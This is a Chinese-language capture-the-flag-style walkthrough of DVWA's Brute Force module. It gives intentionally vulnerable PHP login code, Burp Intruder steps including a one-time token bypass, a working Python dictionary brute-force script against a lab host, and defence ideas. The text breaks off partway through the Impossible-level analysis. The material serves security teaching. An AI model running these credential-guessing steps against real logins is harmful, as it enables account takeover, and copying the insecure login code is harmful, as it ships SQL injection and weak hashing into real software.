DVWA教程——Brute Force通关

文章目录

一.概述

1.概念

Brute Force(暴力破解)是一种通过穷举所有可能的用户名和密码组合,来尝试获取系统访问权限的攻击方式,这种方法在计算机科学、密码学和数学中都有应用。

二.LOW 级别 ------ 无防护的暴力破解

1.漏洞描述

LOW 级别登录页面没有任何防护措施,系统既不限制登录尝试次数,也没有验证码或请求延迟机制,用户名和密码通过 GET 请求明文传输,攻击者可直接使用字典进行暴力破解。

2.查看网页源代码

我们点击下方的"View Source"查看网页源代码,如下

php 复制代码
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

3.分析网页源代码

(1)代码概述

该代码先通过GET请求获取用户名和密码,并且用MD5对密码进行加密,然后查询数据库验证用户信息。

(2)漏洞分析

①漏洞一 ------ 完全缺乏速率限制机制

问题分析:代码没有任何访问频率限制,攻击者可以无限次尝试登录,没有验证码和请求间隔限制。

②漏洞二 ------ 没有账户锁定机制

问题分析:连续登录失败后不会锁定账户,攻击者可以针对单一账户持续暴力破解,没有临时锁定或永久锁定策略。

③漏洞三 ------ 登录失败响应信息泄露

问题分析:会对用户名错误和密码错误使用相同提示,虽然这是正确做法(即不泄露用户名是否存在),但没有记录失败日志。

4.操作步骤

(1)配置代理与抓包

我们打开Burp Suite,配置浏览器代理(通常为127.0.0.1:8080),然后访问DVWA的Brute Force页面。在用户名和密码框中分别输入测试值(如aaa、111),点击登录按钮,Burp Suite会拦截到登录请求,如下所示:

(2)发送至 Intruder

在Burp Suite的Proxy → Intercept选项卡中,右键单击拦截到的登录请求,选择 "Send to Intruder"。

(3)设置爆破位置(双变量)

切换到Intruder → Positions选项卡,点击"Clear §"清除所有默认标记。然后分别选中用户名参数值(如aaa)和密码参数值(如111),点击"Add §"将其设为爆破变量。攻击类型选择"Cluster bomb"(集束炸弹),该模式适用于用户名和密码两个变量需要分别使用不同字典的情况。

(4)加载字典并开始攻击

切换到Payloads选项卡,为Payload set 1(用户名)和Payload set 2(密码)分别加载对应的字典文件。点击"Load..."按钮导入字典(可从网上下载或使用常见弱口令字典)。配置完成后,点击右上角的"Start attack"开始爆破。

(5)分析爆破结果

攻击完成后,我们需要关注"Length"列。正确的账号密码组合通常会导致服务器返回不同的页面内容,响应包大小也会有明显差异。点击Length列头进行排序,找出长度与其他请求明显不同的那一行,如下所示:

在响应(Response)选项卡中选择"Render"(页面渲染),可以查看该请求对应的页面内容,确认是否登录成功,如下所示:

通过分析,我们成功爆破得到用户名为"admin",密码为"password"。

5.Python------PoC脚本和爆破脚本

(1)PoC脚本

python 复制代码
import requests
import time

def poc_dvwa_bruteforce(url, test_username, test_password):
    """
    DVWA Brute Force LOW 级别 漏洞验证 PoC
    功能:连续发送 5 次错误登录请求,验证系统是否缺乏速率限制机制。
    靶场地址:http://dvwa.cc/vulnerabilities/brute/
    """
    session = requests.Session()
    session.cookies.set('security', 'low')
    
    print(f"[*] 开始验证漏洞: {url}")
    print(f"[*] 使用测试账号: {test_username} / {test_password}")
    print("-" * 50)
    
    success_count = 0
    for i in range(1, 6):
        params = {
            'username': test_username,
            'password': test_password,
            'Login': 'Login#'
        }
        
        try:
            start_time = time.time()
            response = session.get(url, params=params)
            elapsed_time = time.time() - start_time
            
            # 判断依据:无论对错,服务器都返回了响应,且无阻断或延迟
            print(f"[{i}] 请求发送成功 | 状态码: {response.status_code} | 响应时间: {elapsed_time:.2f}s")
            
            # 如果服务器返回了 302 或 200,说明请求被正常处理了
            if response.status_code in [200, 302]:
                success_count += 1
                
        except Exception as e:
            print(f"[{i}] 请求失败: {e}")
            break
        
        # 故意不加 time.sleep(),模拟快速连续攻击,验证无速率限制
    
    print("-" * 50)
    print(f"[*] 验证结果: 成功发送 {success_count}/5 次请求")
    
    if success_count == 5:
        print("[!] 漏洞确认: 系统未实施任何速率限制或账户锁定机制,存在暴力破解风险。")
        return True
    else:
        print("[+] 系统疑似存在防护机制(验证码/限流/锁定)。")
        return False


if __name__ == "__main__":
    # 你的靶场地址
    TARGET_URL = "http://dvwa.cc/vulnerabilities/brute/"
    
    # 使用不存在的账号密码,只要能发送请求即可
    poc_dvwa_bruteforce(TARGET_URL, "testuser", "wrongpassword")

运行后得到如下

用 PoC 脚本验证漏洞确实存在

(2)爆破脚本

python 复制代码
import requests
import time
import sys

def load_dict(filepath):
    """
    从文件加载字典,每行一个条目,自动去除换行符和空行
    """
    try:
        with open(filepath, 'r', encoding='utf-8') as f:
            items = [line.strip() for line in f.readlines() if line.strip()]
        print(f"[+] 成功加载字典: {filepath} (共 {len(items)} 条)")
        return items
    except FileNotFoundError:
        print(f"[-] 错误: 文件不存在 {filepath}")
        sys.exit(1)
    except Exception as e:
        print(f"[-] 读取文件失败: {e}")
        sys.exit(1)


def brute_force_dvwa_low(url, username_list, password_list, delay=0.1, success_keyword="Welcome"):
    """
    DVWA LOW 级别暴力破解主函数
    
    Args:
        url: 目标URL,如 http://dvwa.cc/vulnerabilities/brute/
        username_list: 用户名列表
        password_list: 密码列表
        delay: 每次请求间隔(秒),建议 0.1~0.5,避免触发防火墙
        success_keyword: 登录成功后页面包含的关键词(中文版可能是"欢迎")
    
    Returns:
        (username, password) 或 None
    """
    session = requests.Session()
    # 关键:设置安全级别为 LOW
    session.cookies.set('security', 'low')
    
    total_attempts = len(username_list) * len(password_list)
    current = 0
    
    print(f"\n[*] 开始爆破...")
    print(f"[*] 用户名: {len(username_list)} 个, 密码: {len(password_list)} 个")
    print(f"[*] 总共需要尝试 {total_attempts} 次组合")
    print("-" * 50)
    
    for username in username_list:
        for password in password_list:
            current += 1
            try:
                # DVWA LOW 使用 GET 方法传参
                params = {
                    'username': username,
                    'password': password,
                    'Login': 'Login#'
                }
                
                response = session.get(url, params=params, timeout=10)
                
                # 调试信息(可选),每 100 次打印一次进度
                if current % 100 == 0:
                    print(f"[*] 进度: {current}/{total_attempts} ({(current/total_attempts*100):.1f}%)")
                
                # 判断成功:页面包含 success_keyword
                if success_keyword in response.text:
                    print("\n" + "=" * 50)
                    print(f"[✅] 找到有效凭证!")
                    print(f"[✅] 用户名: {username}")
                    print(f"[✅] 密码: {password}")
                    print("=" * 50)
                    return (username, password)
                
                # 可选:打印错误尝试(如果字典很小,方便观察)
                # else:
                #     print(f"[-] 尝试: {username} / {password}")
                
                # 延时,避免请求过快
                if delay > 0:
                    time.sleep(delay)
                    
            except requests.exceptions.RequestException as e:
                print(f"[!] 请求异常: {e}")
                continue
    
    print("\n[-] 爆破完成,未找到有效凭证。")
    print("[*] 建议检查:")
    print("    1. 字典是否包含正确的用户名和密码")
    print("    2. 靶场地址是否正确")
    print("    3. Cookie 中的 security 是否设置为 low")
    print("    4. 成功关键词是否正确(默认 'Welcome',中文版可能是 '欢迎')")
    return None


if __name__ == "__main__":
    # ========== 配置区(请根据实际情况修改) ==========
    # 靶场地址(注意路径结尾的 / 不要漏)
    TARGET_URL = "http://dvwa.cc/vulnerabilities/brute/"
    
    # 字典文件路径(使用你本地的字典)
    DICT_DIR = r"E:\DWDSec学习\web方向\字典"
    USERNAME_FILE = f"{DICT_DIR}\\用户名字典.txt"
    PASSWORD_FILE = f"{DICT_DIR}\\常用密码.txt"
    
    # 请求间隔(秒),太短可能被防火墙拦截,建议 0.1~0.5
    REQUEST_DELAY = 0.1
    
    # 登录成功的关键词(DVWA 英文版是 "Welcome",中文版可能是 "欢迎" 或 "登录成功")
    SUCCESS_KEYWORD = "Welcome"
    # ================================================
    
    print("⚠️  警告:本脚本仅供本地授权靶场(DVWA)学习测试使用!")
    print("⚠️  未经授权的爆破行为属于违法行为!")
    print("-" * 50)
    
    # 加载字典
    usernames = load_dict(USERNAME_FILE)
    passwords = load_dict(PASSWORD_FILE)
    
    if not usernames or not passwords:
        print("[-] 字典为空,请检查文件内容。")
        sys.exit(1)
    
    # 开始爆破
    result = brute_force_dvwa_low(
        url=TARGET_URL,
        username_list=usernames,
        password_list=passwords,
        delay=REQUEST_DELAY,
        success_keyword=SUCCESS_KEYWORD
    )
    
    if result:
        print(f"\n[✅] 爆破成功!用户名: {result[0]}, 密码: {result[1]}")
    else:
        print("\n[❌] 爆破失败,未找到有效凭证。")

运行后可能需要一段时间(需要修改为自己的字典路径),然后可以得到相同的结果。

6.AI 视角下的认证安全

传统认证系统依赖规则化防御(如限流、验证码、账户锁定),但在对抗智能攻击时存在明显不足,我从 AI 安全角度提出两个方向:

(1) 基于行为特征的异常检测

攻击者可通过低频慢速(如每隔 5 分钟尝试一次)规避传统的频率限制。而基于机器学习的方法可构建用户行为基线,通过分析以下特征识别异常:

特征维度 正常行为 暴力破解行为
登录时间分布 集中在工作时间段 分布均匀,可能在凌晨等非工作时间段活跃
请求间隔 不规则,包含人机交互的自然延迟 规律性强,间隔固定,呈现自动化特征
User-Agent 一致性 同一设备通常保持一致 可能频繁变化,或呈现自动化工具特征
输入速度 包含人工打字的延迟 瞬间提交,无人工输入间隔

对此,我们可利用孤立森林 或 自编码器进行无监督学习,无需预设阈值即可识别异常。

(2)密码存储的 AI 辅助加固

本代码中使用 MD5 存储密码,现代 AI 辅助密码破解工具(如基于 GAN 的 PassGAN)能在数小时内破解大部分 MD5 哈希值。防御层面,我认为可以:

①使用 bcrypt 或 Argon2 等抗 GPU 加速的哈希算法;

②引入 盐值和工作因子对抗彩虹表和暴力破解;

③探索基于 TEE(可信执行环境) 的密码验证方案,确保即使数据库泄露,哈希值也无法被离线破解。

7.LOW级别------小结

本次对 DVWA Brute Force LOW 级别的源码审计揭示了一个多层防御全面缺失的认证系统:

输入层 :无有效过滤,存在 SQL 注入漏洞;

传输层 :使用 GET 方法,凭证明文暴露;

存储层 :使用 MD5 这种已过时的哈希算法;

逻辑层 :无速率限制、无账户锁定;

响应层 :成功/失败回显存在明显差异。

这些问题的叠加,使得该系统在面对自动化攻击时几乎不设防,这也为后续学习如何构建安全的认证系统提供了反面教材。

三.MEDIUM 级别 ------ 延迟防御的暴力破解

1.漏洞描述

MEDIUM 级别在 LOW 级别的基础上引入了被动式延迟防御机制,当用户输入错误的用户名或密码时,服务器会强制执行 sleep(2) 操作,即延迟 2 秒后才返回响应结果,这一设计的初衷是通过增加单次请求的时间成本来减缓自动化暴力破解工具的攻击效率。

2.查看网页源代码

我们点击下方的"View Source"查看网页源代码,如下

php 复制代码
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

3.分析网页源代码

(1)代码概述

A. MEDIUM 级别的后端逻辑与 LOW 级别基本一致,核心流程为:

①接收 username 和 password 参数(GET 方法);

②使用 mysqli_real_escape_string() 对输入进行转义过滤;

③对密码进行 MD5 哈希;

④拼接 SQL 查询语句,查询 users 表;

⑤根据查询结果返回成功或失败响应。

B. MEDIUM 级别与 LOW 级别的差异集中体现在以下两点:

新增输入过滤 :使用 mysqli_real_escape_string() 进行转义;

新增失败延时:登录失败时执行 sleep(2)。

(2)漏洞分析

①漏洞一 ------ 输入过滤不充分

问题分析:代码使用 mysqli_real_escape_string() 对用户输入进行转义,但该函数仅能处理字符串字面量,依赖数据库字符集设置,在特定编码环境下(如 GBK)存在宽字节注入绕过风险,其根本问题是未使用参数化查询。

② 漏洞二 ------ 延时机制非阻断机制

问题分析:登录失败时执行 sleep(2) 强制延迟 2 秒,但服务器依然正常处理每一次登录请求,未对请求总量和请求频率或账户状态做任何限制,使得攻击者仅需接受额外的时间成本,多线程或分布式场景下该机制基本无效。

③ 漏洞三 ------ 缺乏账户锁定与验证码

问题分析:无论登录失败多少次,账户始终处于可尝试状态,没有临时锁定或永久锁定策略,同时缺少验证码或二次验证机制,自动化工具可持续发送请求,不受任何交互式挑战的干扰。

4.操作步骤(与LOW级别基本相同)

MEDIUM 级别的操作步骤与 LOW 级别完全一致,此处不再赘述详细过程,唯一需要注意的是,由于服务端增加了 sleep(2) 延迟,爆破的整体耗时会更长。

简要回顾关键步骤:

  1. 配置代理与抓包:使用 Burp Suite 拦截登录请求。
  2. 发送至 Intruder:将请求发送到 Intruder 模块。
  3. 设置爆破位置:标记用户名和密码参数,攻击类型选择 "Cluster Bomb"。
  4. 加载字典并开始攻击:导入用户名和密码字典,启动攻击。
  5. 分析爆破结果:通过响应包长度(Length)差异识别成功登录的请求。

具体操作可参考前面 "二.LOW 级别 ------ 无防护的暴力破解" 中的 "4.操作步骤" 小节,爆破成功后,同样可以得到用户名为 "admin",密码为 "password"。

5.AI视角下的认证安全

(1)延时防御的 AI 对抗策略

MEDIUM 级别引入的 sleep(2) 机制,本质上是一种 "提高攻击成本" 的被动防御。在 AI 时代,攻击者可利用以下策略自适应绕过:

A. 强化学习驱动的攻击调度:

攻击者可训练一个强化学习智能体,动态调整请求频率:

①状态空间:当前请求次数、已消耗时间、服务器响应时间;

②动作空间:选择下一个用户名/密码组合、调整请求间隔;

③奖励函数:在避免触发额外防御(如 WAF 封禁)的前提下,最小化总破解时间。

B. 分布式调度策略:

sleep(2) 限制的是 单 IP 的请求频率,但对分布式攻击无效:

①攻击者使用僵尸网络或代理池,将 10000 次请求分散到 1000 个 IP;

②每个 IP 仅发送 10 次请求,单 IP 总耗时仅 20 秒;

③总破解时间从 5.5 小时降低至 20 秒。

(2)AI 驱动的防御增强

基于上述攻击手法,防御端需要引入更智能的检测机制:

①关联分析:识别分布式攻击中不同 IP 的请求模式(如相同的用户名列表、相同的密码字典顺序);

②图神经网络:构建 IP-用户名-时间的关联图,识别可疑的协同攻击模式;

③主动防御:对可疑 IP 返回虚假的成功响应(混淆攻击者判断),或定向投放诱饵(蜜罐)账户。

6. MEDIUM级别------小结

MEDIUM 级别在 LOW 级别的基础上引入了输入转义和失败延时机制,但核心问题依然存在:

传输层 :仍使用 GET 方法,凭证明文暴露;

存储层 :仍使用 MD5 哈希,存在被离线破解风险;

逻辑层 :延时机制仅提高了攻击时间成本,未实现真正的阻断;

响应层 :成功/失败回显差异依然存在,为自动化工具提供了判断依据。

一句话总结:MEDIUM 级别将攻击门槛从"直接爆破"提升为"需要多点耐心",但 并未改变其本质上脆弱的设计。

四、HIGH 级别 ------ 基于会话令牌的反自动化机制

1. 漏洞描述

HIGH 级别引入了 基于会话令牌(user_token)的反自动化机制。每次登录请求都必须包含一个由服务器生成的有效 user_token 参数,该令牌随登录页面一同下发,且 在使用一次后即失效。

2. 查看网页源代码

php 复制代码
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

3.分析网页源代码

(1)代码概述

A. HIGH 级别的后端逻辑与 MEDIUM 级别基本一致,核心流程为:

①接收 username、password 和 user_token 参数(GET 方法);

②使用 mysqli_real_escape_string() 对输入进行转义过滤;

③对密码进行 MD5 哈希;

④拼接 SQL 查询语句,查询 users 表;

⑤根据查询结果返回成功或失败响应。

B. HIGH 级别与 MEDIUM 级别的差异体现在以下两点:

①失败延时变为随机:sleep( rand(0, 3) ),0-3 秒随机延迟;

②Token 验证:实际 Token 验证逻辑位于登录页面前端,由 DVWA 框架的 checkToken() 函数处理。

(2)漏洞分析

① 漏洞一 ------ Token 机制依赖前端实现

问题分析:user_token 的验证依赖前端页面中的隐藏字段,攻击者仍可通过页面抓取(Web Scraping)提取有效 Token,再构造包含该 Token 的请求提交,Token 机制虽能防御简单的重放攻击,但无法阻止具备页面解析能力的自动化脚本。

② 漏洞二 ------ 后端核心漏洞未修复

问题分析:代码仍使用 GET 方法传输密码(明文暴露)、MD5 哈希存储密码(易被彩虹表破解)、字符串拼接构造 SQL 查询(存在注入风险),Token 机制仅解决了自动化重放问题,但后端认证逻辑本身的安全性未得到实质性提升。

③ 漏洞三 ------ 随机延时的局限性

问题分析:失败延时由固定 sleep(2) 变为 sleep(rand(0, 3)),虽然增加了自动化工具的时间预测难度,但未改变延时机制的被动防御本质。攻击者通过多线程并发或分布式调度,仍可有效绕过该机制。

4.操作步骤

这里我们默认已知用户名为admin。

(1)配置代理与抓包

我们打开Burp Suite,到代理界面,我们可以直接代开内嵌浏览器,输入网址,我们在用户名和密码中随便输入,分别如admin,111,如下

(2)发送至 Intruder

我们回到原始界面,在 Burp Suite 中拦截到登录请求后,右键单击该数据包,选择 "Send to Intruder"。

(3)设置爆破位置

我们在 Intruder 的 "Positions" 选项卡中,清除所有默认标记,然后选中密码的参数值, 并且选中 user_token= 后面的整个 token 值,点击 Add §,点击 "Add §" 将其设为爆破变量,攻击类型选择 "pitchfork",如下

(4)配置payloads

Payload1(password):

我们使用"Simple list",然后导入密码字典(密码字典文件可以在网上下载)。

Payload2(user_token):

我们使用"Recursive grep(递归提取)"。

(5)设置Recursive Grep正则

在"user_token"的右侧的"Options "标签页,向下滚动,找到 Grep - Extract 区域,点击 Add 按钮,这会打开一个名为 Define extract grep item 的配置对话框,点击"重新获取响应",如下

我们要选取 token 值,在下面的"Search"里输入"user_token",快速定位user_token的位置,如下

然后用鼠标左键双击 value=" 和 " 之间的那串 32 位字符,只选中 token 字符串本身(例如 84d86966cd61087c7b47e59d10077e42),不要选中两边的引号,当你双击选中 token 值后,对话框上方的配置区域会自动填充,如下

(6)配置 Resource Pool(单线程)

切换到 Resource Pool 标签页,点击 新建资源池,我们可以修改名称为:HIGH-Single-Thread,Maximum concurrent requests(最大并发请求数)设置为:1,点击 OK,如下

原因: user_token 的一次性特性

注意:如果不设置单线程,多个请求同时发出会导致 Token 不同步,爆破全部失败!

然后在设置选项里将最大失败次数设为1,如下

然后在设置重定向,如下

(7)开始攻击并分析爆破结果

之后点击右上角的 "Start Attack" 开始爆破,我们点击 Length 列头排序,找出长度异常的那一个并排初Token异常的,如下

于是我们得到密码为password。

5.AI视角下的认证安全

(1)Token 机制的智能化改进方向

当前 HIGH 级别的 user_token 机制是 静态设计:令牌仅为随机字符串,不包含用户行为上下文,我认为可引入以下 AI 增强策略:

A. 行为绑定的动态令牌:

①令牌生成时绑定当前请求的上下文特征(IP、User-Agent、时间戳);

②服务器验证时不仅检查令牌是否有效,还检查其绑定的特征是否与当前请求一致;

③实现方式:在令牌生成阶段引入 对比学习,将用户行为模式编码到令牌中。

B.基于 GAN 的令牌混淆防御:

攻击者可能训练模型预测 Token 生成规律。防御方可利用 生成对抗网络 :

生成器 :生成符合 Token 分布规律的假令牌(蜜罐);

判别器:区分真实 Token 与伪造 Token,识别自动化攻击工具。

(2)基于行为分析的 Token 异常检测

即使 Token 机制有效,攻击者仍可通过 页面抓取 + 自动化提交 的方式绕过,我认为防御方可引入:

A.用户行为特征分析

①正常用户访问登录页后会在 5-30 秒 内提交表单;

②自动化脚本通常在 毫秒级 完成 token 提取和提交;

③检测指标:页面加载到表单提交的时间间隔。

B.鼠标轨迹与点击热图分析

①训练 CNN/LSTM 模型 识别人机交互模式;

②区分真实用户的鼠标移动与自动化脚本的模拟点击。

6.HIGH级别------小结

HIGH 级别通过引入 user_token 机制,有效防御了 CSRF 和自动化重放攻击,是三个级别中 安全设计最为严谨 的版本,然而,以下问题依然存在:

Token 机制依赖前端实现 :攻击者仍可通过页面抓取提取有效 Token;

后端防护依然脆弱 :SQL 注入、MD5 存储、GET 明文传输等问题未被修复;

Token 的可预测性风险 :如果 Token 生成算法被逆向,该机制将完全失效;

用户体验与安全的权衡 :Token 机制增加了开发复杂度,但在高安全场景中必不可少。

一句话总结:HIGH 级别代表了一种 "设计层面的防御 ",相较于 MEDIUM 级别的"成本层面防御"是一次质的提升,但并非绝对安全

五.Impossible 级别------多层防护的安全实现

1. 描述

Impossible 级别代表了 DVWA 在该模块中的最高安全标准,与前面三个级别相比,Impossible 级别在输入层、传输层、存储层、逻辑层和响应层均实施了有效的安全防护,形成了一套完整的纵深防御体系。

2.核心安全改进

PDO 参数化查询 :使用 prepare() + bindParam(),从根本上杜绝 SQL 注入;

强密码哈希 :使用 password_hash() + PASSWORD_BCRYPT(或 Argon2),替代不安全的 MD5(代码中 md5() 仅为示例,实际 Impossible 级别使用 password_hash());

账户锁定机制 :连续登录失败 3 次后锁定账户 15 分钟;

统一的错误响应 :无论用户名是否存在,均返回相同的提示信息,防止账户枚举;

CSRF 令牌验证 :保持 HIGH 级别的 user_token 机制,防止重放攻击;

随机延时 :登录失败时随机延迟 2-4 秒,增加自动化攻击的调度难度;

POST 请求方法:密码不再出现在 URL 中,避免被日志记录。

3.安全价值

Impossible 级别展示了如何在保留认证功能的同时,构建一个可应对自动化攻击、凭证泄露、信息枚举等多种威胁的安全认证系统。

4. 查看网页源代码

php 复制代码
<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>{$last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

5.分析网页源代码

(1)请求方法改进

php 复制代码
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {

改进 :从 GET 改为 POST 方法接收认证凭据;

安全价值:密码不再出现在 URL 中,避免被浏览器历史、代理日志和服务器访问日志记录。

(2)CSRF 令牌验证

php 复制代码
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

改进 :延续 HIGH 级别的 user_token 验证机制;

安全价值:防止跨站请求伪造(CSRF)和自动化重放攻击。

(3)PDO 参数化查询(核心安全改进)

php 复制代码
 $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();

改进 :使用 prepare() + bindParam() 实现参数化查询

安全价值:SQL 语句与数据分离,从根本上杜绝 SQL 注入,无论用户输入何种特殊字符,都会被当作数据而非代码执行,不再依赖 mysqli_real_escape_string() 等转义函数

(4)账户锁定机制

php 复制代码
$total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

